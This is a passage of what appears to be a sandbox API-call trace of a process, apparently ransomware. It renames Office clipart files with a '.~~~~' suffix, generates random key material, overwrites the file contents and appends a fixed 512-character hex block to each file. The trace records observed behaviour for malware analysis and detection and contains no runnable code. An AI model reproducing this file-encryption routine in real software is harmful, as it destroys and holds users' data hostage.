	[0091.133] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.133] CloseHandle (hObject=0x124) returned 1
	[0091.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.~~~~")) returned 1
	[0091.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.134] GetLastError () returned 0x0
	[0091.134] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d76f0) returned 1
	[0091.135] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.135] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21112551597) returned 1
	[0091.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01932b0, dwHighDateTime=0x1d60e1e)) 
	[0091.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382258
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382258 | out: hHeap=0x300000) returned 1
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3832e0
	[0091.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.136] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.136] GetLastError () returned 0x0
	[0091.136] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.136] GetLastError () returned 0x0
	[0091.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe7eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.138] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1815, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1815, lpOverlapped=0x0) returned 1
	[0091.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.138] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.138] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.138] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.138] CloseHandle (hObject=0x124) returned 1
	[0091.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3832e0
	[0091.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.~~~~")) returned 1
	[0091.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3832e0 | out: hHeap=0x300000) returned 1
	[0091.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.139] GetLastError () returned 0x0
	[0091.139] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d76f0) returned 1
	[0091.140] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.140] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.140] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21113061448) returned 1
	[0091.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01932b0, dwHighDateTime=0x1d60e1e)) 
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382290
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382290 | out: hHeap=0x300000) returned 1
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383a98
	[0091.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.141] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.141] GetLastError () returned 0x0
	[0091.141] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.141] GetLastError () returned 0x0
	[0091.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffa9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.143] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x566, lpOverlapped=0x0) returned 1
	[0091.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.144] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.144] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.144] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.144] CloseHandle (hObject=0x124) returned 1
	[0091.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.~~~~")) returned 1
	[0091.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.145] GetLastError () returned 0x0
	[0091.145] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.146] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.146] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.146] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21113642906) returned 1
	[0091.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01b9410, dwHighDateTime=0x1d60e1e)) 
	[0091.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3822c8
	[0091.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3822c8 | out: hHeap=0x300000) returned 1
	[0091.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383b30
	[0091.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.147] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.147] GetLastError () returned 0x0
	[0091.147] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.147] GetLastError () returned 0x0
	[0091.149] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffcd0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.149] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x32f2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x32f2, lpOverlapped=0x0) returned 1
	[0091.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.149] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.149] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.150] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.150] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.150] CloseHandle (hObject=0x124) returned 1
	[0091.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.~~~~")) returned 1
	[0091.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.150] GetLastError () returned 0x0
	[0091.151] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.152] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.152] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.152] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21114185757) returned 1
	[0091.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01b9410, dwHighDateTime=0x1d60e1e)) 
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382300
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382300 | out: hHeap=0x300000) returned 1
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383bc8
	[0091.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.152] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.152] GetLastError () returned 0x0
	[0091.152] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.153] GetLastError () returned 0x0
	[0091.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff574, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.155] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xa8c, lpOverlapped=0x0) returned 1
	[0091.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.155] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.155] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.155] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.156] CloseHandle (hObject=0x124) returned 1
	[0091.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.156] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.~~~~")) returned 1
	[0091.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.156] GetLastError () returned 0x0
	[0091.157] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.157] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.157] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.157] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21114758420) returned 1
	[0091.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01b9410, dwHighDateTime=0x1d60e1e)) 
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382338
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382338 | out: hHeap=0x300000) returned 1
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383c60
	[0091.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.158] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.158] GetLastError () returned 0x0
	[0091.158] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.158] GetLastError () returned 0x0
	[0091.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe4d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.160] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1b2e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1b2e, lpOverlapped=0x0) returned 1
	[0091.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.160] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.160] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
